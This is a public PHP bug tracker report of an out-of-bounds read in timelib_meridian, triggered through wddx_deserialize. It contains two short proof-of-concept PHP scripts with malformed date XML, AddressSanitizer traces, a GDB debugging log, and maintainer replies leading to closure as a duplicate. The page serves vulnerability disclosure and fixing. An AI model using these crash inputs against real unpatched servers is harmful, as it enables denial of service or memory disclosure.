php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #73109 Out-Of-Bounds Read in timelib_meridian of parse_date.c
Submitted: 2016-09-19 01:07 UTC Modified: 2017-10-16 02:28 UTC
From: stackexploit at gmail dot com Assigned: derick
Status: Duplicate Package: Date/time related
PHP Version: 7.1.6 OS: Ubuntu
Private report: No CVE-ID:
 [2016-09-19 01:07 UTC] stackexploit at gmail dot com
Description:
------------
TITLE
-----------------------
Out-Of-Bounds Read in timelib_meridian of parse_date.c


CREDIT
-----------------------
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.


PHP VERSION
-----------------------
./sapi/cli/php --version
PHP 7.0.11 (cli) (built: Sep 18 2016 04:37:58) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies


PROOF-OF-CONCEPT FILE
-----------------------
Posted in the "Test script" section.


STACKTRACE
-----------------------
Posted in the "Actual result" section.


VULNERABILITY DETAILS
-----------------------
An Out-Of-Bounds read vulnerability can be triggered by passing an invalid wddxPacket XML document to function wddx_deserialize. The vulnerability was triggered in function timelib_meridian of file ext/date/lib/parse_date.c.

Test script:
---------------
<?php
    $xml = <<<XML
<dateTime>1998:0<data>,-IIIIIIIII.<mreb><ve>15.45Pm gN>8-7720OcWde0-0uctar name='aNull'>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>

Expected result:
----------------
Exit quietly.

Actual result:
--------------
==617==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000d8bd 
    at pc 0x0000005e8b02 bp 0x7ffc45975560 sp 0x7ffc45975558
READ of size 1 at 0x60200000d8bd thread T0
    #0 0x5e8b01 in timelib_meridian /php_src/ext/date/lib/parse_date.c:397:6
    #1 0x579781 in scan /php_src/ext/date/lib/parse_date.c:4850:17
    #2 0x564331 in timelib_strtotime /php_src/ext/date/lib/parse_date.c:23116:7
    #3 0x543a70 in php_parse_date /php_src/ext/date/php_date.c:1435:16
    #4 0xbc973a in php_wddx_process_data /php_src/ext/wddx/wddx.c:1055:5
    #5 0x7f0e1ff7bc75 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x8c75)
    #6 0x7f0e1ff7c38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
    #7 0x7f0e1ff7dcad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
    #8 0x7f0e1ff7e404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
    #9 0x7f0e1ff8070a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
    #10 0xbc108f in php_wddx_deserialize_ex /php_src/ext/wddx/wddx.c:1089:2
    #11 0xbb56f0 in zif_wddx_deserialize /php_src/ext/wddx/wddx.c:1307:2
    #12 0x12b8d50 in ZEND_DO_ICALL_SPEC_HANDLER /php_src/Zend/zend_vm_execute.h:586:2
    #13 0x103947d in execute_ex /php_src/Zend/zend_vm_execute.h:417:7
    #14 0x103b6c2 in zend_execute /php_src/Zend/zend_vm_execute.h:458:2
    #15 0xe413de in zend_execute_scripts /php_src/Zend/zend.c:1427:4
    #16 0xbda6f8 in php_execute_script /php_src/main/main.c:2494:14
    #17 0x140b3b0 in do_cli /php_src/sapi/cli/php_cli.c:974:5
    #18 0x140853d in main /php_src/sapi/cli/php_cli.c:1344:18
    #19 0x7f0e1e89482f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #20 0x448908 in _start (/keliu/of/tencent/xuanwu/lab/php+0x448908)

0x60200000d8bd is located 0 bytes to the right of 13-byte region [0x60200000d8b0,0x60200000d8bd)
allocated by thread T0 here:
    #0 0x4e8a38 in __interceptor_malloc (/keliu/of/tencent/xuanwu/lab/php+0x4e8a38)
    #1 0xd494d5 in _emalloc /php_src/Zend/zend_alloc.c:2446:11
    #2 0xd4a5bf in _safe_emalloc /php_src/Zend/zend_alloc.c:2518:9
    #3 0xd4b070 in _ecalloc /php_src/Zend/zend_alloc.c:2541:6
    #4 0x5e6af6 in timelib_string /php_src/ext/date/lib/parse_date.c:443:14
    #5 0x578ced in scan /php_src/ext/date/lib/parse_date.c:4834:3
    #6 0x564331 in timelib_strtotime /php_src/ext/date/lib/parse_date.c:23116:7
    #7 0x543a70 in php_parse_date /php_src/ext/date/php_date.c:1435:16
    #8 0xbc973a in php_wddx_process_data /php_src/ext/wddx/wddx.c:1055:5
    #9 0x7f0e1ff7bc75 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x8c75)

SUMMARY: AddressSanitizer: heap-buffer-overflow 
    /php_src/ext/date/lib/parse_date.c:397:6 in timelib_meridian
Shadow bytes around the buggy address:
  0x0c047fff9ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9af0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9b00: fa fa fa fa fa fa fa fa fa fa fd fa fa fa fd fa
=>0x0c047fff9b10: fa fa fd fa fa fa 00[05]fa fa 00 04 fa fa fd fd
  0x0c047fff9b20: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c047fff9b30: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fd
  0x0c047fff9b40: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fd
  0x0c047fff9b50: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c047fff9b60: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==617==ABORTING

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-09-19 02:14 UTC] stas@php.net
-Assigned To: +Assigned To: derick
 [2016-09-22 06:18 UTC] stackexploit at gmail dot com
-Package: WDDX related +Package: Date/time related
 [2016-09-22 06:18 UTC] stackexploit at gmail dot com
Changing related package to date/time.

The issue can be triggered via function wddx_deserialize. But that's not the only way. There are other ways to trigger it. So it has nothing to do with wddx.
 [2016-10-05 20:08 UTC] derick@php.net
-Status: Assigned +Status: Closed
 [2016-10-05 20:08 UTC] derick@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.

I think I fixed this through https://github.com/php/php-src/commit/91fd4bf000a652d7f32ccf1c9551540eff167d49 — although I could never reproduce the problem. I did find something where we wouldn't parse "A.M" correctly, as I was assuming it would always say "A.M.", but the parser rule was not specific about this.
 [2016-10-08 08:56 UTC] stackexploit at gmail dot com
-Status: Closed +Status: Assigned
 [2016-10-08 08:56 UTC] stackexploit at gmail dot com
Hi derick,

Please disable USE_ZEND_ALLOC before testing my poc file.

In my environment, the issue still happens even if your patch has been applied. I think the root cause is not in timelib_meridian but in scan. However, I'm not sure what happens since scan is a super large function. I will post my debugging log and hope it's useful.

Thanks.


Proof-Of-Concept File
=====================
<?php
    $xml = <<<XML
<dateTime>1998:0<data>,-IIIIIIIII.15.45Pm >
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>


GDB Debugging Steps
=====================
0. Load sapi/cli/php in gdb.
1. Set a breakpoint at the beginning of function scan, the precise location is line 868 (the code is switch (yych)).
2. Display the value of variable yych.
3. Run php with poc.php.
4. Continuing the process when php breaks, when you see the value of yych is 'I' the second time, using the next(n) command to debug.
5. Before calling timelib_meridian, variable ptr has been points to the end of the string.
6. When getting into timelib_meridian, an Out-of-Bounds Read circumstance will be triggered.


GDB Debugging Log
=====================
gdb sapi/cli/php

b parse_date.c:868  <------------------------------ breakpoint
display yych        <------------------------------ display
r poc.php

Breakpoint 2, scan (s=0x7fffffff74e0, tz_get_wrapper=0x53d5d0 <php_date_parse_tzfile_wrapper>) at ext/date/lib/parse_date.c:868
868		switch (yych) {
1: yych = 49 '1'
(gdb) c
Continuing.

Breakpoint 2, scan (s=0x7fffffff74e0, tz_get_wrapper=0x53d5d0 <php_date_parse_tzfile_wrapper>) at ext/date/lib/parse_date.c:868
868		switch (yych) {
1: yych = 58 ':'
(gdb) 
Continuing.

Breakpoint 2, scan (s=0x7fffffff74e0, tz_get_wrapper=0x53d5d0 <php_date_parse_tzfile_wrapper>) at ext/date/lib/parse_date.c:868
868		switch (yych) {
1: yych = 48 '0'
(gdb) 
Continuing.

Breakpoint 2, scan (s=0x7fffffff74e0, tz_get_wrapper=0x53d5d0 <php_date_parse_tzfile_wrapper>) at ext/date/lib/parse_date.c:868
868		switch (yych) {
1: yych = 0 '\000'
(gdb) 
Continuing.

Breakpoint 2, scan (s=0x7fffffff74e0, tz_get_wrapper=0x53d5d0 <php_date_parse_tzfile_wrapper>) at ext/date/lib/parse_date.c:868
868		switch (yych) {
1: yych = 49 '1'
(gdb) 
Continuing.

Breakpoint 2, scan (s=0x7fffffff74e0, tz_get_wrapper=0x53d5d0 <php_date_parse_tzfile_wrapper>) at ext/date/lib/parse_date.c:868
868		switch (yych) {
1: yych = 58 ':'
(gdb) 
Continuing.

Breakpoint 2, scan (s=0x7fffffff74e0, tz_get_wrapper=0x53d5d0 <php_date_parse_tzfile_wrapper>) at ext/date/lib/parse_date.c:868
868		switch (yych) {
1: yych = 48 '0'
(gdb) 
Continuing.

Breakpoint 2, scan (s=0x7fffffff74e0, tz_get_wrapper=0x53d5d0 <php_date_parse_tzfile_wrapper>) at ext/date/lib/parse_date.c:868
868		switch (yych) {
1: yych = 44 ','
(gdb) 
Continuing.

Breakpoint 2, scan (s=0x7fffffff74e0, tz_get_wrapper=0x53d5d0 <php_date_parse_tzfile_wrapper>) at ext/date/lib/parse_date.c:868
868		switch (yych) {
1: yych = 45 '-'
(gdb) 
Continuing.

Breakpoint 2, scan (s=0x7fffffff74e0, tz_get_wrapper=0x53d5d0 <php_date_parse_tzfile_wrapper>) at ext/date/lib/parse_date.c:868
868		switch (yych) {
1: yych = 73 'I'
(gdb) 
Continuing.

Breakpoint 2, scan (s=0x7fffffff74e0, tz_get_wrapper=0x53d5d0 <php_date_parse_tzfile_wrapper>) at ext/date/lib/parse_date.c:868
868		switch (yych) {
1: yych = 73 'I'

(gdb) n
902		case 'I':	goto yy31;
1: yych = 73 'I'
(gdb) 
1886		yyaccept = 0;
1: yych = 73 'I'
(gdb) 
1887		yych = *(YYMARKER = ++YYCURSOR);
1: yych = 73 'I'
(gdb) 
1888		if (yych <= '9') {
1: yych = 73 'I'
(gdb) 
1907			if (yych <= 'V') {
1: yych = 73 'I'
(gdb) 
1908				if (yych <= 'H') {
1: yych = 73 'I'
(gdb) 
1912					if (yych <= 'I') goto yy435;
1: yych = 73 'I'
(gdb) 
8075		yyaccept = 0;
1: yych = 73 'I'
(gdb) 
8076		yych = *(YYMARKER = ++YYCURSOR);
1: yych = 73 'I'
(gdb) 
8077		if (yych <= '.') {
1: yych = 73 'I'
(gdb) 
8088			if (yych <= 'H') {
1: yych = 73 'I'
(gdb) 
8094				if (yych <= 'Z') {
1: yych = 73 'I'
(gdb) 
8095					if (yych <= 'I') goto yy430;
1: yych = 73 'I'
(gdb) 
7947		yyaccept = 0;
1: yych = 73 'I'
(gdb) 
7948		yych = *(YYMARKER = ++YYCURSOR);
1: yych = 73 'I'
(gdb) 
7949		if (yych <= ',') {
1: yych = 46 '.'
(gdb) 
7959			if (yych <= '@') {
1: yych = 46 '.'
(gdb) 
7960				if (yych == '/') goto yy3;
1: yych = 46 '.'
(gdb) 
7961				if (yych <= '9') goto yy195;
1: yych = 46 '.'
(gdb) 
3871		if (yybm[0+yych] & 32) {
1: yych = 46 '.'
(gdb) 
3872			goto yy194;
1: yych = 46 '.'
(gdb) 
3867		++YYCURSOR;
1: yych = 46 '.'
(gdb) 
3868		if ((YYLIMIT - YYCURSOR) < 21) YYFILL(21);
1: yych = 46 '.'
(gdb) 
3869		yych = *YYCURSOR;
1: yych = 46 '.'
(gdb) 
3871		if (yybm[0+yych] & 32) {
1: yych = 49 '1'
(gdb) 
3874		if (yych <= '/') goto yy56;
1: yych = 49 '1'
(gdb) 
3875		if (yych <= '2') goto yy197;
1: yych = 49 '1'
(gdb) 
3887		yyaccept = 6;
1: yych = 49 '1'
(gdb) 
3888		yych = *(YYMARKER = ++YYCURSOR);
1: yych = 49 '1'
(gdb) 
3889		if (yych <= 'm') {
1: yych = 53 '5'
(gdb) 
3890			if (yych <= '1') {
1: yych = 53 '5'
(gdb) 
3895				if (yych <= '2') goto yy354;
1: yych = 53 '5'
(gdb) 
3896				if (yych <= '9') goto yy355;
1: yych = 53 '5'
(gdb) 
6024		yyaccept = 6;
1: yych = 53 '5'
(gdb) 
6025		yych = *(YYMARKER = ++YYCURSOR);
1: yych = 53 '5'
(gdb) 
6026		if (yych <= '9') {
1: yych = 46 '.'
(gdb) 
6027			if (yych <= '/') {
1: yych = 46 '.'
(gdb) 
6028				if (yych == '.') goto yy299;
1: yych = 46 '.'
(gdb) 
5101		yyaccept = 6;
1: yych = 46 '.'
(gdb) 
5102		yych = *(YYMARKER = ++YYCURSOR);
1: yych = 46 '.'
(gdb) 
5103		if (yych <= '1') {
1: yych = 52 '4'
(gdb) 
5108			if (yych <= '2') goto yy307;
1: yych = 52 '4'
(gdb) 
5109			if (yych <= '5') goto yy308;
1: yych = 52 '4'
(gdb) 
5195		yyaccept = 6;
1: yych = 52 '4'
(gdb) 
5196		yych = *(YYMARKER = ++YYCURSOR);
1: yych = 52 '4'
(gdb) 
5197		if (yych <= '/') {
1: yych = 53 '5'
(gdb) 
5201			if (yych <= '9') goto yy323;
1: yych = 53 '5'
(gdb) 
5452		yyaccept = 6;
1: yych = 53 '5'
(gdb) 
5453		yych = *(YYMARKER = ++YYCURSOR);
1: yych = 53 '5'
(gdb) 
5454		if (yych <= ':') {
1: yych = 80 'P'
(gdb) 
5470			if (yych <= 'P') {
1: yych = 80 'P'
(gdb) 
5471				if (yych == 'A') goto yy284;
1: yych = 80 'P'
(gdb) 
5472				if (yych <= 'O') goto yy198;
1: yych = 80 'P'
(gdb) 
5473				goto yy284;
1: yych = 80 'P'
(gdb) 
4952		yych = *++YYCURSOR;
1: yych = 80 'P'
(gdb) 
4953		if (yych <= 'L') {
1: yych = 109 'm'
(gdb) 
4956			if (yych <= 'M') goto yy286;
1: yych = 109 'm'
(gdb) 
4957			if (yych == 'm') goto yy286;
1: yych = 109 'm'
(gdb) 
4965		yych = *++YYCURSOR;
1: yych = 109 'm'
(gdb) 
4966		if (yych <= 0x1F) {
1: yych = 32 ' '
(gdb) 
4971			if (yych <= ' ') goto yy277;
1: yych = 32 ' '
(gdb) 
4835		++YYCURSOR;
1: yych = 32 ' '
(gdb) 
4838			TIMELIB_INIT;
1: yych = 32 ' '
(gdb) 
4839			TIMELIB_HAVE_DATE();
1: yych = 32 ' '
(gdb) 
4840			s->time->m = timelib_get_month((char **) &ptr);
1: yych = 32 ' '
(gdb) 
4841			s->time->d = timelib_get_nr((char **) &ptr, 2);
1: yych = 32 ' '
(gdb) 
4843			TIMELIB_HAVE_TIME();
1: yych = 32 ' '
(gdb) 
4844			s->time->h = timelib_get_nr((char **) &ptr, 2);
1: yych = 32 ' '
(gdb) 
4845			s->time->i = timelib_get_nr((char **) &ptr, 2);
1: yych = 32 ' '
(gdb) 
4846			if (*ptr == ':' || *ptr == '.') {
1: yych = 32 ' '
(gdb) 
4854			s->time->h += timelib_meridian((char **) &ptr, s->time->h);
1: yych = 32 ' '
(gdb) 
=================================================================
==64884==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000d95d at pc 0x0000005e8b02 bp 0x7ffffffed4d0 sp 0x7ffffffed4c8
READ of size 1 at 0x60200000d95d thread T0

    #0 0x5e8b01 in timelib_meridian /php-7.0.11/ext/date/lib/parse_date.c:397:6
    #1 0x579781 in scan /php-7.0.11/ext/date/lib/parse_date.c:4854:17
    #2 0x564331 in timelib_strtotime /php-7.0.11/ext/date/lib/parse_date.c:23120:7
    #3 0x543a70 in php_parse_date /php-7.0.11/ext/date/php_date.c:1435:16
    #4 0xbc993a in php_wddx_process_data /php-7.0.11/ext/wddx/wddx.c:1055:5
    #5 0x7ffff797ec75 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x8c75)
    #6 0x7ffff797f38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
    #7 0x7ffff7980cad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
    #8 0x7ffff7981404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
    #9 0x7ffff798370a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
    #10 0xbc128f in php_wddx_deserialize_ex /php-7.0.11/ext/wddx/wddx.c:1089:2
    #11 0xbb58f0 in zif_wddx_deserialize /php-7.0.11/ext/wddx/wddx.c:1307:2
    #12 0x12b8f50 in ZEND_DO_ICALL_SPEC_HANDLER /php-7.0.11/Zend/zend_vm_execute.h:586:2
    #13 0x103967d in execute_ex /php-7.0.11/Zend/zend_vm_execute.h:417:7
    #14 0x103b8c2 in zend_execute /php-7.0.11/Zend/zend_vm_execute.h:458:2
    #15 0xe415de in zend_execute_scripts /php-7.0.11/Zend/zend.c:1427:4
    #16 0xbda8f8 in php_execute_script /php-7.0.11/main/main.c:2494:14
    #17 0x140b5b0 in do_cli /php-7.0.11/sapi/cli/php_cli.c:974:5
    #18 0x140873d in main /php-7.0.11/sapi/cli/php_cli.c:1344:18

    #19 0x7ffff629782f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #20 0x448908 in _start (/php-7.0.11/sapi/cli/php+0x448908)

0x60200000d95d is located 0 bytes to the right of 13-byte region [0x60200000d950,0x60200000d95d)
allocated by thread T0 here:
    #0 0x4e8a38 in __interceptor_malloc (/php-7.0.11/sapi/cli/php+0x4e8a38)
    #1 0xd496d5 in _emalloc /php-7.0.11/Zend/zend_alloc.c:2446:11
    #2 0xd4a7bf in _safe_emalloc /php-7.0.11/Zend/zend_alloc.c:2518:9
    #3 0xd4b270 in _ecalloc /php-7.0.11/Zend/zend_alloc.c:2541:6
    #4 0x5e6af6 in timelib_string /php-7.0.11/ext/date/lib/parse_date.c:447:14
    #5 0x578ced in scan /php-7.0.11/ext/date/lib/parse_date.c:4838:3
    #6 0x564331 in timelib_strtotime /php-7.0.11/ext/date/lib/parse_date.c:23120:7
    #7 0x543a70 in php_parse_date /php-7.0.11/ext/date/php_date.c:1435:16
    #8 0xbc993a in php_wddx_process_data /php-7.0.11/ext/wddx/wddx.c:1055:5
    #9 0x7ffff797ec75 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x8c75)

SUMMARY: AddressSanitizer: heap-buffer-overflow /php-7.0.11/ext/date/lib/parse_date.c:397:6 in timelib_meridian
Shadow bytes around the buggy address:
  0x0c047fff9ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9af0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fd fa
=>0x0c047fff9b20: fa fa fd fa fa fa fd fa fa fa 00[05]fa fa 00 04
  0x0c047fff9b30: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fd
  0x0c047fff9b40: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c047fff9b50: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa 00 fa
  0x0c047fff9b60: fa fa fd fa fa fa fd fd fa fa fd fa fa fa 00 05
  0x0c047fff9b70: fa fa fd fa fa fa 00 05 fa fa fd fa fa fa 00 04
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==64884==ABORTING
 [2016-12-04 04:21 UTC] stackexploit at gmail dot com
The changelog of PHP 7.1.0 indicates that this issue has been resolved.
http://www.php.net/ChangeLog-7.php#7.1.0

> Fixed bug #73109 (timelib_meridian doesn't parse dots correctly).

But I can still reproduce it. Can anyone help verify it? You can take a look at my last comment, thanks.
 [2017-03-20 08:20 UTC] stackexploit at gmail dot com
-PHP Version: 7.0.11 +PHP Version: 7.1.3
 [2017-03-20 08:20 UTC] stackexploit at gmail dot com
Hello, this issue is still reproducible with PHP 7.1.3, do we have any plan to fix it? Thanks.


==35128==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000d7fd at pc 0x0000005f0e82 bp 0x7ffe65095630 sp 0x7ffe65095628
READ of size 1 at 0x60200000d7fd thread T0
    #0 0x5f0e81 in timelib_meridian ~/php-7.1.3/ext/date/lib/parse_date.c:410:6
    #1 0x57ee7e in scan ~/php-7.1.3/ext/date/lib/parse_date.c:5230:17
    #2 0x567cd1 in timelib_strtotime ~/php-7.1.3/ext/date/lib/parse_date.c:24098:7
    #3 0x544e90 in php_parse_date ~/php-7.1.3/ext/date/php_date.c:1447:16
    #4 0xc0d9e0 in php_wddx_process_data ~/php-7.1.3/ext/wddx/wddx.c:1075:5
    #5 0x7f0d7c7c4c75 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x8c75)
    #6 0x7f0d7c7c538b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
    #7 0x7f0d7c7c6cad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
    #8 0x7f0d7c7c7404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
    #9 0x7f0d7c7c970a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
    #10 0xc04bbf in php_wddx_deserialize_ex ~/php-7.1.3/ext/wddx/wddx.c:1109:2
    #11 0xbf9150 in zif_wddx_deserialize ~/php-7.1.3/ext/wddx/wddx.c:1327:2
    #12 0x133549a in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER ~/php-7.1.3/Zend/zend_vm_execute.h:675:2
    #13 0x10a96e3 in execute_ex ~/php-7.1.3/Zend/zend_vm_execute.h:432:7
    #14 0x10ab9a7 in zend_execute ~/php-7.1.3/Zend/zend_vm_execute.h:474:2
    #15 0xe9ce9e in zend_execute_scripts ~/php-7.1.3/Zend/zend.c:1476:4
    #16 0xc1e978 in php_execute_script ~/php-7.1.3/main/main.c:2537:14
    #17 0x15771ec in do_cli ~/php-7.1.3/sapi/cli/php_cli.c:993:5
    #18 0x1574322 in main ~/php-7.1.3/sapi/cli/php_cli.c:1381:18
    #19 0x7f0d7b0dc82f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291
    #20 0x449758 in _start (~/php-7.1.3/sapi/cli/php+0x449758)

0x60200000d7fd is located 0 bytes to the right of 13-byte region [0x60200000d7f0,0x60200000d7fd)
allocated by thread T0 here:
    #0 0x4e9888 in __interceptor_malloc (~/php-7.1.3/sapi/cli/php+0x4e9888)
    #1 0xd925f4 in __zend_malloc ~/php-7.1.3/Zend/zend_alloc.c:2820:14
    #2 0xd911b5 in _emalloc ~/php-7.1.3/Zend/zend_alloc.c:2413:11
    #3 0xd9229f in _safe_emalloc ~/php-7.1.3/Zend/zend_alloc.c:2472:9
    #4 0xd92d50 in _ecalloc ~/php-7.1.3/Zend/zend_alloc.c:2495:6
    #5 0x5eed66 in timelib_string ~/php-7.1.3/ext/date/lib/parse_date.c:460:14
    #6 0x57e3ea in scan ~/php-7.1.3/ext/date/lib/parse_date.c:5214:3
    #7 0x567cd1 in timelib_strtotime ~/php-7.1.3/ext/date/lib/parse_date.c:24098:7
    #8 0x544e90 in php_parse_date ~/php-7.1.3/ext/date/php_date.c:1447:16
    #9 0xc0d9e0 in php_wddx_process_data ~/php-7.1.3/ext/wddx/wddx.c:1075:5
    #10 0x7f0d7c7c4c75 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x8c75)

SUMMARY: AddressSanitizer: heap-buffer-overflow ~/php-7.1.3/ext/date/lib/parse_date.c:410:6 in timelib_meridian
Shadow bytes around the buggy address:
  0x0c047fff9aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9af0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 00[05]
  0x0c047fff9b00: fa fa 00 04 fa fa fd fd fa fa fd fa fa fa fd fa
  0x0c047fff9b10: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fd
  0x0c047fff9b20: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fa
  0x0c047fff9b30: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa
  0x0c047fff9b40: fa fa fd fd fa fa fd fa fa fa fd fa fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==35128==ABORTING
 [2017-07-31 09:50 UTC] stackexploit at gmail dot com
-Status: Assigned +Status: Closed -PHP Version: 7.1.3 +PHP Version: 7.1.6
 [2017-07-31 09:50 UTC] stackexploit at gmail dot com
This issue has been fixed in https://bugs.php.net/bug.php?id=74819
Let's close it.
And please keep it public.
Thanks.
 [2017-10-16 02:28 UTC] stas@php.net
-Status: Closed +Status: Duplicate
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Tue Aug 29 15:01:52 2017 UTC